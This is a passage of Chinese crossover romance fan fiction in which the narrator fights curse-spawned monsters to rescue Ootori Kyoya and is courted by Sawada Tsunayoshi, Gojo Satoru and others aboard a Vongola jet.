我幸福笑容因为听到健次郎的名字稍微收敛,就是他的出现让我和美和相处的时间大大减少。
可恶的侵略者!
但为了不让美和左右为难我不会在她面前表现出一个人呆在宿舍很无聊的情绪。
“似乎有被称作奇迹的时代的篮球队呢,听起来还挺厉害的,啊,对了,V联盟的黑狼队今天也有比赛!小一不是喜欢他们吗?去看看吧。”
我拒绝的话哽在喉咙里,把手里的纸袋抓得哗啦响:“不,倒也没有很喜欢,只不过是偶然刷到了而已。”
美和没有戳穿声称不在乎,结果偷偷一个人半夜跑到客厅收看重播,被当场抓获却仍然嘴硬的家伙。
她拽着人往前走:“好了好了是我想看,你就当陪我吧,好不好,反正你一个人回去也只是宅在房间里,还是多出来活动活动,你看你的身板……”
她卡了一下,看着黑川一看似纤细,实际上力能扛鼎的手臂沉默了一下,坚强的继续:“就算身体好也要偶尔出来走走。”
美和说到这里脸颊染上淡淡的羞涩:“我和健次郎就是在散心的时候认识的。”
“不,如果是这点的话还是算了吧。”
我们来到场馆前的广场,排队的人将偌大的广场挤满,我闭了闭眼睛虚弱的说:“其实在房间里打游戏挺好的,我忽然觉得有点不舒服,我们还是先回去吧。”
已经陷入兴奋的美和拽着我在人群中灵活穿梭,她像是一尾灵活的鱼,我像是一条脱水的海带有气无力的跟着她抵达VIP通道。
“到啦!”
我暗暗喘了口气,把护在怀里的袋子重新拎在手里,来都来了。
我朝和男友的黏黏糊糊的美和打了个招呼,独自一人对照着票根去了看台,十分钟后,我盯着对面看台上黑狼队的应援发了会儿呆,低声自语:“糟了,忘记问看台位置了。”
还不如去看那个似乎很厉害的彩虹战队呢。
“虽然不可能被发现,但果然还是……”
我一边嘀咕着一边从袋子里掏出新买的思维持2插入卡带,开始从零开始的塞尔达野炊生活,游戏开启的声音似乎让身后的低声争执安静了一瞬。
话题从为什么会选错位置到你看你选的位置玩游戏的家伙都有。
我操纵小人从悬崖跳下去的手指一顿,忍了忍,还是没有说出来我能听到。
保持低调然后顺利离开是我的主旨。
话是这么说,当翔阳出场的时候我还是下意识抬头看了过去,身后小声()斗嘴的声音也安静下来。
这不是我第一次看他比赛,却是第一次坐在观众席最佳观赏位看比赛。
惊叹原本就已经足够耀眼的人原来还能够更加耀眼。
我勉强保持着安静,但身后两人,确切的是其中一人毫不在意四周遍布的对家球迷大声欢呼,带动着我也小声晃了晃手里的小旗。
咳,这是对手的应援的小旗,但在黑狼队得分的时候晃了晃也就当做是为他们庆祝了吧。
不知道是不是我的错觉,翔阳似乎往这里看了好几眼。
我用小旗挡了挡脸,一定是后面那家伙太嚣张了。
比赛结束时我忍住兴奋提着东西准备提前开溜,美和和健次郎已经提前离开了,我拒绝了参与他们约会的可怕邀请,打算独自享受美好的游戏之夜。
我刚刚起身,身后就传来一声庆祝的欢呼,在一片沮丧的球迷当中分外明显。
四面八方愤怒的眼神投射过来,连带着我这个站起来的人也被波及。
好在那家伙的声音马上就被他的同伴制止,我松了口气,连忙往外走。
椅背忽然搭上一只手。
发型时尚的棕发青年凑过来对我说:“你也是黑狼队的球迷是吧,你给他们庆祝我都看见了,要不要和我们一起去……”
“及川!”
好不容易散开一些的球迷又聚集过来,我僵硬的扭头看着他,没敢回头。
这里的骚乱好像引起了下面球队的注意。
我朝打断他的黑发青年感激的点点头,匆忙拒绝:“不用了,我还有事。”
然后捂着脸匆匆离去。
岩泉一无言的看着比赛全程都在关注着那个女人的及川,捂着脸把人带走:“你到底在搞什么啊!?”
及川彻捏着下巴若有所思:“居然这么坚决的拒绝了我的邀请,奇怪,难道我猜错了?”
“不,让我这么眼熟,又特意来看翔阳的,绝对是我们共同的粉丝才对,一定是她太害羞了!”
他盖棺定论。
岩泉一拳头渐渐硬了。
选手通道里忽然传来一阵急促的脚步声。
他们并肩转身朝奔来的橘发青年打了招呼:“哟,翔阳。”
日向翔阳高兴的表情在见到只有他们两个人的时候稍稍回落,但还是和他们碰了碰拳,然后装作不经意问道:“刚才那个黑发球迷你们认识吗?”
及川彻:“这个啊,认识啊!”
他眼神一亮。
及川彻把在座位上拍的不泄露隐私的背面照发到账号上,配文“和我们一样买错座位的粉丝合影WW” 。
他把照片展示给日向翔阳,说出自己的推测:“我觉得她一定是我们的粉丝!”
日向翔阳唇角漾起喜悦的笑意。
即便只是一个背影,他也能认出他的妻子。
她真的回来了。
他的胸口里鼓胀着某种兴奋的情绪。
他点开某个四人群聊,在聊天框里输入一行字,在发送前犹豫一下还是删掉了内容。
……没正式见面之前还是当做我一个人的秘密好了。
第136章
我跟随人流走出场馆,却被堵在出口。
刺耳的警铃声一连串从外面呼啸而过,因为看比赛而兴奋起来的气氛逐渐沉了下来,有人看着手机发出惊呼。
“是凤家的医养庄园出事了!包括一个小时之前进去的病人以及凤家的当家都凭空消失,现在整个医养庄园已经被东京警署接手了!”
凤镜夜? !
我心里一跳也掏出手机, 不用搜索凤家继承人消失的词条已经被顶了上来, 我匆忙点进去才发现大部分都是对照片上的帅气家主出事发出遗憾的声音, 少部分是阴谋论。
我匆匆下滑了好一会才找到几条疑似目击证人的评论。
88L :事情发生的时候我刚刚从里面参观出来,准备带着几个义妹一起去吃大餐,没想到就发生了这样的事情!不过仔细回想离开的时候确实感觉有些不对劲,冷!整座庄园都冷得不正常!大家一定不要靠近那里,我感觉非常危险!
他的评论下面全都是“在?几个义妹展开说说?”
我的手指按在这条评论上看着外面的天空思索片刻,虽然现在已经是深秋,但还没有到非常冷的地步。
庄园里的人和镜夜一起被咒灵影响吞进领域了么?
我点开评论想要私信更具体的信息,却发现评论已经被删除,评论人也找不到了。
“……”
我看着东京警署全面接手探查的消息,叹了口气,按照我记忆中的流程,从东京警署全面搜查到无能为力,再将任务上报转接到总监会,快的话大约五六个小时,慢的话一两天也不是不可能。
我将帖子下载下来写下我的判断,发送给窗的信箱。
做完这一切我收回手机顺着逐渐疏散的人群往相反的方向离开。
已经可以了,我做了目前所有能做的。
消息一旦被杰手下接手, 很快就会派遣咒术师过来解决。
杰现在不认识我就算见到了也只会增添麻烦, 如果碰巧遇见悟的话,说不定会被直接带走。
他会逼着我做出抉择。
……但我本来就该做出抉择才对。
我抱着袋子倏然停下,在被挡住去路的抱怨中随手把怀里的东西塞给身后的路人,逆着人流往回走。
就这样步履艰难的走了一会儿,我冷静的思索了一下,挤出人流附着咒力的手在攀着巷道的墙壁翻身而上,决定直接走直线。
那些复杂的纠缠对错先放在一边,现在最重要的是我要亲自去确认凤镜夜的状况。
我在一声惊呼当中顺着围墙奔跑起来,专门顺着较暗人少的地方跑,却还是偶尔会被发现。
我摸了一把脸上黑狼队的应援口罩,离开场馆的时候在周边的摊位上买的,只要不被看见脸就行。
顶多会被人当做跑酷。
我安心下来朝占地面积超大的医养庄园靠近,在跨过某一条界限的时候,四周的气温骤然下降。
套着薄外套的胳膊在冷风的刺激下迅速起了一片鸡皮疙瘩。
不是因为冷,而是眼前骤然变化的场景。
我把运动服外套拉链拉到顶端,叼着拉链头缓缓吐息,面无表情的站在荆棘丛生的小道上,与将我包围的各种怪物对视片刻。
矮身倏然消失在原地,只在地面留下一道浅浅的坑洞。
这个黑暗涌动的世界里,唯有被怪物团团包围的道路尽头矗立着一座异常高大的漆黑尖顶城堡,其中一个扭曲的塔尖上漂浮着一团散发着浑浊白光的月亮。
我叼着唯一会发出声响的拉链,第一时间锁定了那副能够自主行动的中世纪铠甲,双脚自上而下踩着它空洞的胸膛,蹲下身体顺势先它一步握住它腰间的剑柄,“噌”的一声抽了出来。
它漆黑一片的头盔视窗里猩红的光点微微扩大,硬生生让人看出了点茫然。
我拿到武器也不恋战,踩着怪物们的头顶往城堡的方向跑。
很快我停了下来,看着丝毫没有拉近距离的城堡,目光落在脚下张牙舞爪中西合璧种类繁多的怪物们身上。
微微张口拉链头叮铃一声重新落回立领外套的顶端。
我不耐地甩了甩糊到脸上的长发,几年过去当初被人精心打理过的发型早就在我随意的处理下,变成了齐腰的一刀切,稍微活动了一下就四处飞舞。
好在不影响我“看”见。
我在密密麻麻的死线当中回头,低声蓄力:“看来要先拿到入场券。”
·
城堡内部与外部的阴森不同,汇聚着所有消失人员的大厅灯火通明,一只巨大的咒灵将自己充当吊灯,悬在所有人头顶。
所有人面色都很差,但目光却都一致落在最前方由未知血肉组成的方框上,方框中央深不见底的黑色闪烁几下,如同一只巨大怪物的眼球,放映出城堡外的阴森景象。
紧接着没有人说话他们自然而然的明白过来——这是一场不对等的游戏。
外面的怪物是所有人内心的恐惧,随着时间的增加而增长。
想要离开必须要亲自杀死自己的恐惧,在无数怪物的包围下。
或者献祭和自身恐惧相当的祭品换取离开的机会。
但随着被困的时间越长,他们越是绝望。
以利相逼走第二条路的所有人已经被头顶的怪物吞食,他们停留在这里除了眼睁睁的看着离开的难度不断增加之外毫无办法。
“果然怪物就是怪物!”
有人在人群中小声啜泣:“它根本就没想放我们出去。”
也有人还维持着镇定,眼神不停往大厅一角扫去,那里影影绰绰站着三个男人。
“那是五条悟吗?”
“他和凤镜夜认识?”
当视线扫过那名穿着分外正式的棕发男人时,不约而同的压低了声音,谨慎地窃窃私语:“怎么那位也在这里”
日向翔阳站在人群中,注视着那块屏幕。
他已经在大厅里找了一圈,没能找到小一,反而松了口气:“没来就好。”
从体育馆出来时,他也听到了凤家医养庄园出事的消息,不假思索的就往这里靠近,没想到一靠近就被吞了进来。
现在想想还心有余悸,他竟然下意识以为小一会跟进来,还好……
他看着屏幕的眼睛顿住,然后一点点睁大,仿佛看到了什么不可思议的东西。
“小一?”
他震惊的低喃被周围陡然爆发出的议论淹没。
他们勉强在恐惧的强压下强装镇静的情绪陡然上扬,一双双眼睛齐刷刷的落在荧幕中显得格外渺小的身影上,仿佛抓住了最后一根救命稻草。
被卷入领域内的少部分是家世优渥的掌权者,大部分是庄园里负责提供医疗安保服务的护士与保安,他们热切的盯着不甚清晰的画面,交握着的手祈祷着那是来帮助他们的人。
“太好了太好了。”
身穿体面套装的知性女性护着一名老者,捂唇轻声欢呼,眼里闪过如释重负的神色:“爷爷果然不出您所料,他们的动作果然很快,我扶您去旁边休息一下。”
深棕色和服头发花白的老人脊背的挺直,垂着眼睛不再观察屏幕,冷哼一声。
“一个黄毛丫头而已,算了,带我过去吧,有……在今天不会出事的。”
知性女□□言又止还是扶着他坐到一旁,终归是没有说出他们已经出事了这种惹他生气的话,端坐在圆桌对面动作轻柔的开始为老人煮茶。
也许是他们起到了带头作用,也许是那些怪物并不能阻挡女人飞快靠近的脚步,又或许是有些人心中的巨石落下。
原本混乱的大厅竟然迅速恢复了秩序。
庄园的客人们在仆从和保镖的拥簇下在一个个圆桌旁坐了下来,原本属于庄园的侍者犹豫着也从这座由庄园化作的城堡当中找到了酒水和食物,甚至有人打开了角落里奇形怪状的留声机。
就这样延续了这场荒谬的聚会。
沢田纲吉盯着屏幕的眼神终于动了动,在侍者端来的托盘里毫不犹豫的选中了冒着泡的橘子汽水。
“我要这个就行了。”
“汽水留下。”
五条悟看了面不改色的两人一眼,嗤了一声,他没有继续开口的意思,向后靠进圆弧形的椅背,撑着脸侧。
“比起这些,还是好好想想搞清楚她这次出现的目的,以及……怎么让她愿意留下吧。”
他身上是匆忙赶来来不及换下的高专制服,原本也没什么,但眼前这两个家伙一个穿的比一个正式,难得让他有些怀疑的看了自己一眼。
随后放松下来。
最帅气的果然还是我。
他扬了扬下巴看似岿然不动,但六眼能清晰的看到凤镜夜冰冷沉默的脸,啧,小白脸,下一个。
当他的注意放在沢田纲吉身上的时候,他若有所觉的看了过来,浅笑着轻轻颔首,又屏幕上的人影看去,啧,笑面虎,下一个。
日向翔阳站在最靠近荧幕也是最靠近门的位置,身上还穿着比赛的队服,在这样的场合又是另一种显眼,啧,运动白痴。
五条悟摸了摸下巴,有些嫌弃她的品味,又不太想承认的在心底松了口气。
“只要眼睛不瞎,也应该知道该选谁了吧。”
话音落下,身旁传来两道冷嗤。
他转头看去的时候,只能看到两人平静的侧脸:“……别以为装作没发生,我就不知道你们什么表情。”
角落里安静了一会儿。
最先开口的竟然是情绪看起来最平和的沢田纲吉。
他理了理袖口,宽戒上的宝石折射着迷人的光泽,身为年龄最长者,棕眸中是历经世事的从容:“说笑了五条君,就算是我,在有关妻子的事上也是不可能让步的。”
他按着扶手第一个起身,居高临下的看着两人,余光又看了一眼门口附近神色焦急的日向翔阳,微微一笑:“我先走一步各位。”
五条悟动了动眉头,刚想说什么,忽然脸色一变,看向那片大屏。
在他的注视下屏幕闪了闪。
那道纤细的身影紧跟着消失了。
不知何时弥漫开来的雾气与领域的暗色交织在一起。
五条悟脸色难看的站了起来。
关于世界基石的研究也该让那些老家伙加快速度了。
第137章
支棱着漆黑细瘦枯树的道路上,密密麻麻的挤满了,或者说堆积着各种各样奇形怪状的非人生物。
即便他们源于城堡内众人心中的恐惧幻想,也不可否认以目前的形态,它们一窝蜂出现确实会给人带来一些困扰。
我冷静的注视着守住这条道路的使命让它们像古怪堆积的瘤子一样挤挤挨挨的黏在一起的东西。
看似人多势众。
实际上的战斗力比不过多长了几个心眼子的四级咒灵。
我在逐渐适应后速度越来越快, 清扫道路的流程越来越顺畅, 让我逐渐找回了些玩AAVG的手感, 甚至多了一些不必要的花哨动作。
因此当身后传来耳熟的呼唤声,我第一反应不是回头, 而是反手把手里的破伤风之刃刺了出去。
真实的皮肉穿透感从被缴获的细剑上传来。
我顿了顿,疑惑地与从黑发的缝隙中阴暗的探出的猩红眼眸对视片刻,终于意识到那道声音不可能是这东西的小把戏。
它看起来无能狂怒极了。
我抽回细剑灵巧的握着它转了一圈穿透它全是破绽的脆弱身体,喘了口气,转身向后看去。
身材修长的男人站在道路中央, 被乌云遮盖的天空突兀的漏出一丝月光洒在他身上,照亮了深邃双眸眼底复杂的情绪。
我与他对视一会儿,想了想抬手打了个招呼,抿唇露出微妙的笑意:“好巧啊,好久不见沢田先生。”
和沉默的沢田纲吉对视不出三秒我忽然意识到什么,见鬼似的往后退了一步,看了看他又看了看那座承受了太多的古堡。
我擦了擦脸上被溅上的不知名猩红液体,故作轻松的说:“我猜测不会这么巧只有你一个人出现在这里?”
一瞬不瞬落在身上的眼神终于动了动, 轻飘飘的应答在夜色中迅速消散。
我小小的吸了口气,在沢田先生看起来有些受伤的眼神里抑制住向后退的冲动,手指匆忙的理了理身上凌乱的运动服、顺带着收拾收拾那柄被抢来的细剑,自然而然拍了拍他的肩膀。
“虽然很高兴见到您,但我再不回去有人要不担心了。”
再见两个字含在口中还没说出来就被劈头盖脸的拥抱堵住。
很快他意识到动作过于急促,飞快调整过来,环在我腰间的手不松不紧维持着让人难以逃脱的力道。
他从容的说:“好久不见小一。”
“真是,好久不见了。”
这句话被咬在唇齿之间被他用慢悠悠的语调一点点挤出来。
我打了个冷战,难道在他们的时间里我走了很久吗?
在意识到我们正在移动时,我不再挣扎扯了扯他的衣领,抬头仔细观察他近在咫尺的脸,察觉到我的眼神他偏过头来任我打量。
他的面容和我离开之前没什么两样,照样是那副成熟英俊的样子,只不过笑起来的时候眼角的纹路不再是若隐若现。
他带着我落在地上,轻笑着说:“看出什么了?”
我好奇的伸手摸了摸他的眼尾。
“似乎和普通皮肤的手感也没什么差别嘛。”
沢田纲吉脸上的笑意逐渐消失,他温柔的看着我,带着我往忽然出现的入口里面走。
“事实上我们也才分开了三年。”
他握着我的手在门上录入指纹,然后轻轻抬起我的下巴,让眼睛对准屏幕,上面显示【虹膜录入成功】后还没有松手,反而抬得更高让我看到他的眼睛。
我没来及说出我可以自己来,已经录入完毕。
沢田先生好像有点……急切?
我迟疑地与他对视,然后落入了一双异常认真的棕眸,其中浓稠得即将将我淹没的喜爱丝毫不加掩饰。
我回忆了一下才想起他刚才的话,本来想说我知道,但在这么近的距离下,喉咙像一颗柠檬糖一样在升腾的温度中融化,只能勉强挤出轻微的有些变调的回应。
“嗯?”
沢田纲吉看着眼前已经不能称为少女的未婚妻,原谅他一直在心底这样称呼她,事实上她本该是他的妻子。
乌黑的长发被草草的在脑后扎成凌乱的一团,不久前的活动让两颊散落着零散的发丝。
唔,本就小巧的脸颊显得更加可怜可爱。
他有种把手掌贴上去捏捏最好能揉揉的冲动,但在黑发间看过来的水润双眸的注视下他不动声色的隐忍下来,托着脸颊的手指捏捏柔软的耳垂,看见从耳垂到苍白的脸颊都染上浅浅的粉色,喉结上下移动:“我是说小一会介意我的年龄吗?”
基地的银色大门悄无声息向两边滑开。
一脸烦躁的准备出门的狱寺隼人刚好听到这句话,震颤的绿眸倒映出将黑发女人搂在怀中的十代目,怔怔的看着门在眼前合上。
狱寺隼人捏了一把大腿,在大门识别再次打开之前,见鬼一样红着脸冲向另一个出口。
十代目怎么会说出这样的话,不,哪个女人竟然敢嫌弃十代目的年纪!
我看着他英俊的脸,眼神茫然,权利是女人最好的医美,男人大概相差不大,沢田先生成熟温和混杂着偶尔的冷漠与威严的复杂气质应该还挺受人欢迎的吧。
难道就连沢田先生都会有这种焦虑吗?
想到这里我坚定的捧住他的脸,认真地说:“不介意啊,沢田先生成熟英俊事业有成就连眼角多出的纹路也很有魅力。”
“而且不觉得你的事业超级酷吗?”
当上Mafia教父了应该也算是另一种事业有成了。
听到前半句沢田纲吉眼角不受控制的氤氲出笑意,听完后半句笑意僵了僵。
已经很久没有说过粗话的沢田纲吉,忍不住在心里沉沉的想,别再提那该死的纹路了。
不知道现在开始保养还来不来得及。
沢田纲吉浅浅浅笑:“我的荣幸。”
我在谈话中放松下来,摸了摸胃部:“我进去说好吗?我好饿。”
他带着我去了餐厅,不出意外的都是我喜欢的酸甜口,饱餐一顿之后我被送进一间卧室。
沢田先生站在门口没有进来的意思让我更放松了些。
我打了个哈欠,今天发生的事有点太多了,精力条被急速耗尽,我困倦的看他,含含糊糊的说:“晚安沢田先生。”
目前看来沢田先生不愧是沢田先生,比我想象中要温和一百倍!
我安心的关上门,对被迫挪窝到彭格列基地这一点没有意见,睡一晚上而已,明天还要去上班呢。
门闭合的声音没有传来。
我转头看向靠在门框边缘的沢田先生:“还有事吗?”
他眼神复杂的看着我,对即将开口似乎有些忐忑,骨节分明的手指解开领口的纽扣扯了扯衣领,喉间发出放松的叹息:“小一。”
我耐心的站在原地,假设了一下如果我在原地睡着沢田先生一定不会放着不管之后就释然了。
他俯身凑过来,几乎消散于空气中的熟悉香气拂过鼻尖。
我懵懵然的站的歪歪扭扭,直到唇角传来试探性的触感,才一个激灵清醒过来。
似乎我的反应愉悦了他。
他最后理了理我的头发,转身离开:“晚安,有个好梦。”
“还记得未完成的事吗?”
他最后一句话轻到几不可闻。
但我在咒力的加持下听的一清二楚。
深夜,我睁着两只炯炯有神的眼睛望着简洁的天花板,整个人被房间里的气息所环绕。我往下钻了钻,嗅了嗅床上味道。
……和沢田先生身上的好像。
更睡不着了。
我默默把脑袋伸出来,双手搭在松软的被面上相互纠缠,脑子里不停地想到沢田先生的话。
“未完成的事?”
是指的什么呢?
嗅着鼻尖熟悉的香气,我第一次开始主动回忆而不是在梦中追溯那天发生的事情,在沢田先生的帮助下奇异的完成了任务离开那天……
明明已经过去了三年时间,当我回忆起来的时候竟然连那间公寓内的陈设都记得一清二楚。
原来根本就没有忘记过。
沢田先生尊重的想法没有挽留,半躺在床上手臂还维持着环抱着什么的姿势,总是宽容的棕眸就那样看着我,我从他眼中看到了眼眸如同星辰一样的倒影。
他仿佛要将我的身影最后记在心里,眼神没有丝毫的回避和闪躲。
然后呢?
我仿佛身临其境一样稍稍屏住呼吸,紧张的看着记忆中的画面,那双薄唇微微张合,说出我听过的最动人的情话。
他说,等你得到自由,我们仍然……我发誓我会一直爱你。
在黑暗中当中我不禁微笑,是这样的誓言啊。
我下意识摩挲着空荡荡指根,以一种令我诧异的速度安稳的陷入美好的梦境。
到底梦到什么醒来后我已经不记得,只依稀回忆起那似乎是一个阳光明媚的清晨,令人安心的香气在身边飘荡,透过透明的窗户柠檬树的枝叶在微风中摇晃。
以及令人格外沉溺的怀抱,有人与我一起欣赏日出时的景色。
我怔松地捧着茶杯,好梦过后软绵绵甜丝丝的情绪像一捧棉花糖,晃晃悠悠的落在吧台旁的沢田纲吉身上。
在温暖的室内,他只穿了一件白色的衬衣,领口随意敞开,袖口挽到手肘露出线条流畅的结实小臂,端着小半杯巴罗洛晃了晃,色泽格外深沉的深红液体在杯壁上留下半圆形的痕迹。
他垂着眼睛将杯子里的液体一饮而尽,身旁的助理低声耳语,他握着酒杯的手在沉思时定住,只拇指时不时的划过圆润的杯壁,垂落的棕色睫毛也如同雕像一般凝固,直到得出结论才翩跹的抬起露出温润的瞳孔。
然后那双温润的眼睛跨越小半个机舱落在我身上。
凝固的粘稠的氛围忽然生动起来。
他毫不犹豫起身走到我身旁,浑身洋溢着三岁小孩都读懂的快乐,牵起我的手慢悠悠的落下一吻,真诚的欣喜的眼神一直落在我身上没有移开。
“抱歉,感觉无聊了么?”
手背上温热的触感让我不自在的蜷了蜷手指,一股热气从脖子下一股脑往上涌。
他松开手贴着我坐在双人沙发里。
我把手缩回来按住手背,从醒来开始一直轻飘飘的情绪终于落在实地上,真切的意识到这是去意大利的飞机。
可恶,沢田先生用那双和梦中一样的眼睛看着我提出的请求,我完全没办法提出异议。
这算是做出了选择么?
我按了按胸口的位置……感觉有点奇怪。
不过既然已经被发现,再犹豫下去说不定会让大家都难过,这应该就是最好的选择了吧?
我做好心理准备把头转回来,一只手恰好把一叠还散发着热气的点心推到我面前,他这和我做在一起的姿势很正经,没有刻意靠近,维持着令我舒适的空间。
沢田纲吉眼神落在窗外一瞬,面不改色的拉上挡板,不经意全方位展示了一下这碟点心。
“上飞机前我试着做的,要不要一起吃下午茶?”
“我正好有想很多事想和你分享。”
亲手做的?
我看了看沢田先生平静的侧脸,没有错过他眼中的期待,忽然觉得成熟的沢田先生现在看起来好像有点可爱。
我掩住唇角的笑意,拿了一块放进嘴里咀嚼,迎着他看过来的眼神,我咀嚼的动作忽然一顿。
他眼中的笑意似乎也顿了一下,回头看了眼那叠最成功的曲奇,不动声色的递了杯茶给我。
我捏着茶杯柄抿了一口,放下来的时候发现原本放在身前的曲奇被一叠精巧的小蛋糕取代,忍着笑意伸手又拿了一块扔进嘴里。
看着他隐隐纠结的表情喝完了一整杯茶。
在他给我倒茶的时候终于忍不住笑倒在他肩膀上,颤抖着把那叠点心拉了回来,抽空竖了个拇指。
“实际上超级好吃哈哈哈哈哈哈,不要再挪了,要掉到地上了!”
沢田纲吉无奈的扶住笑得止不住的家伙,扶着她的腰抚过她的脊背:“笑完了么?”
他也一同轻笑:“你喜欢就好。”
我笑了好一会儿才停下,拽着他的手抬起来坐直身体,视线落在他脸上,忽然意识到什么,撑着沙发凑过去。
沢田纲吉扶在她腰间的手紧了紧,眼前忽然一花,工作时偶尔戴上的眼镜被取了下来。
我拿着眼镜对着光看了看:“平光镜?”
他小心的护着她,以免摔倒,随意说:“一点点度数,主要是防蓝光。”
“嗯~”
我在沢田先生不赞同的目光中把它戴到自己脸上,握拳在唇边一本正经的咳嗽一声,伸出两根手指戳到他脸上向上提。
“再笑一次沢田先生。”
衬衫被折腾得凌乱的沢田纲吉不解的露出浅浅的笑意,握着她的腰把人从沙发的边缘提起来放到正中央:“小心点。”
我没在意他的动作,严肃地指出:“不是这个。”
第138章
“是和之前一样的笑。”
我说到一半,看着他疑惑的眼神,想了想矮身凑过去睁着眼睛贴上他的薄唇,在他凑过来之前退开。
“小一?”
我看着他贴近的动作顿住,按着他上扬的嘴唇,满意的低头吻住他的眼角。
“其实很……。”性感。
最后两个字模模糊糊的被我含在嘴里。
我在他没反应过来跳下沙发到对面坐下, 若无其事的扬了扬下巴, 打开窗户往外张望,语速急促:“所以不用特意收敛。”
沢田纲吉再次察觉到了那股从眼角嘴唇一路烧到心尖的激烈情绪,让他想要将刚才还大胆的说出那种……情话的家伙带回怀里,就算只是拥抱应该也能稍微缓解这股迫不及待的渴望。
他克制的起身,想要更靠近一点。
助理匆忙的脚步声与近处的一声惊呼打断了他的动作。
“boss!检测到飞机周围有剧烈的咒力波动!是否需要立即清除。”
我震惊的看着贴在狭小窗口上的龙脸,然后一只极为修长的手指按着龙头一点点下压,五条悟的脸就这样紧紧地贴在了窗户上。
“……”
我瞪大眼睛看着他用力贴在玻璃上变得扁平的脸,卡了好一会儿才找回声音,隔着玻璃戳了戳他的脸。
“……悟?”
紧紧贴在玻璃上充满怒火的眼睛直勾勾瞪着我身后的脸唰的一下消失了。
我缓缓转头。
飞快将这扇窗户的挡板也拽下来的沢田纲吉若无其事的朝我伸手。
“这里没什么好看的,我带你去看书?那边也有电脑。”
虽然很想去看看那台电脑, 但是……
我指了指窗外:“就这样放着不管没关系吗?”
如果没看错的话那是虹龙吧?
怎么连杰也在和他一起胡闹。
沢田纲吉唇角提起露出异常柔和的笑意。
我被他牵着离开那边在电脑前坐下。
他说:“放心吧,会有人复杂把他们打下去。”
我:一点都没有放心下来啊!
正如他的话所说,飞机很快传来细微的震动,有什么东西爆炸的声音在机身外接连响起。
没等我出口干预, 声音突兀的停了下来。
“啧。”
我转头朝沢田先生早有预料的脸看去,错觉吗?
两道脚步声从机舱前方接近,还没看到人两人一唱一和的声音就已经传了过来。
“都怪杰, 居然连这都躲不开, 害得我只好想办法上飞机了。”
“虹龙很好用,这是为了避免不必要的损伤,要是不想上来的话我送你出去飞(笑)。”
“好过分——本来还想在小一面前帅气出场诶!”
“……从你贴上窗户开始就没有那种东西了。”
随着声音他们熟悉的对话越来越近,我竟然紧张起来,手指捏着鼠标,眼神却不受控制往通道瞥。
身高几乎碰到通道顶端的白发男人率先出现,六眼毫无阻隔的落在我身上,蓝瞳微缩,脸上自然而然的笑起来。
“哟,终于见面了。”
他把一同进来的挚友和全副武装的护卫扔到身后,大步走到我面前,隔着桌子给了我一个拥抱。
那头毛绒绒的短发亲昵的蹭着我的侧脸,语调黏黏糊糊的在我耳边说:“我好想你啊。”
我下巴被迫搁在他的肩膀上,不小心与落后一步的夏油杰对上视线,他怔了一下同样勾唇,细长的眼睛在脸上变成两道弯弯的弧度。
“好久不见了小一。”
我下意识张大眼睛,推了推五条悟的肩膀:“杰想起来了?”
五条悟不情不愿的松手,顺便给了沢田纲吉一个挑衅的眼神,揽着她的肩膀挤在一个椅子里,朝挚友扬了扬下巴。
“那是当然,也不看看是谁。”
正准备回答的夏油杰被抢了话也不生气,先是和飞机的主人打了个招呼:“打扰了,沢田先生。”
我被沢田先生牵着手腕和腰肢从五条悟怀里带了出来,安置到一旁的单人沙发上。
沢田纲吉微笑:“确实打扰到了,可以的话能请你们下去吗?这里是彭格列的私人飞机。”
五条悟吹了声口哨,滑动椅子凑到我身边,拿着我的手把玩。
我:当没听到吗?
夏油杰瞥了眼已经贴到小一身边的好友,按下眼中的杀意,看向眼神不含一丝笑意的沢田纲吉,认命的开口:“关于彭格列提出的基于空间融合而产生的力量变化研究方案我们觉得不是没有可行性。”
“方便的话借一步说话吧。”
沢田纲吉看了眼那边跟狗一样黏上他未婚妻的五条悟,微笑着用脸骂人:“既然如此,必然少不了五条君才对,一起来吧。”
我悄悄竖着耳朵听他们的对话,闻言也看向捏着我的手指和他十指相扣的五条悟,他仍然低着脑袋仿佛我的手指上刻着文字一样细细研究。
沢田先生背后好像出现了不得了的黑色雾气。
我尴尬的戳了戳抵在眼前的白色大脑袋,压低声音:“悟?悟!沢田先生他们需要你一起去。”
过了好一会儿五条悟才慢吞吞的抬起脑袋,能看穿一切的六眼没有表情的时候绚丽得让人无端感觉冰冷。
他在审视我。
在我生出这样的感觉之前,沢田纲吉和夏油杰同时出声。
“悟。”
“五条君。”
五条悟没有转头,他垂下眼皮雪白的睫毛也有气无力的耷拉下来,握着我的手放到脸侧贴了贴。
“你准备抛弃我了吗?”
我惊愕的张了张嘴,却不知道怎么回答,心头划过一抹心虚,在他追上来之前……我确实已经答应和沢田先生走了。
他从我的沉默当中察觉到什么,竟然笑了起来。
唇上倏地一痛。
他得逞的退开舔了舔染上鲜红的浅色嘴唇,在沢田纲吉忍无可忍过来赶人之前转身离开。
“我就知道小一不可能忘记我,毕竟你是我的妻子嘛。”
他们朝另一头的会议室走去,沢田先生微微蹙眉竟然没说什么,倒是夏油杰离开之前意味深长的一瞥让我有些汗流浃背。
直到这里只剩下我一个人我才彻底放松下来。
我起身敲了敲吧台,看完了全程的调酒师用一种敬佩夹杂着惊恐的眼神看着我:“来一杯……沢田先生喝过的那种。”
我看着他的眼睛叹了口气:“放心吧,不会把你怎么样的,干活。”
调酒师立即优雅的站直了身体:“是,请稍等。”
“小姐您的巴罗洛。”
我与一只冷白色的修长大手手背碰到一起。
那人语调缓慢:“小一。”
这人将我简短的名字咬在唇齿之间硬生生念出了缠绵悱恻的感觉。
我站在原地没敢转身,那只手伸过来擦过我的眼下,微凉的触感一路下滑至脖颈轻轻摩挲。
“昨晚没休息好么。”
凤镜夜端起那杯红酒随意倒进口中,朝眼睛里写着还来的调酒师点点头:“请给她一杯橙汁。”
我捏着果汁,喃喃道:“镜夜?”
站在我身边身材消瘦但纤长的男人无疑是许久不见的凤镜夜,他半长的黑发打理得异常整齐,凤眸深不见底,典雅苍白的侧脸浮着浅浅的红晕。
我猜是因为那杯酒喝的太急了。
他脆弱的睫毛抖了抖,终于转过头看向我,那张脸比我想象中更加苍白,他静静地看了我一会儿,视线如同凝固的雾气向我包裹而来。
他的声音很轻,仿佛害怕惊扰的到什么。
“我很累,可以陪我休息一会儿吗?”
我微妙的停了一下,看着他的脸还是不忍心拒绝,我左右看了看:“这里好像没有休息的房间。”
他沉默的转身松松的圈着我的手腕,略过我的眼神却格外粘稠,带着我朝一角的长条沙发走去。
我不由自主的跟了上去。
走出几步之后我还能感受到调酒师落在我身上的震惊夹杂着敬佩的眼神。
……希望今天之后彭格列不会出现关于我的奇怪传言。
虽然也确实是事实就是了。
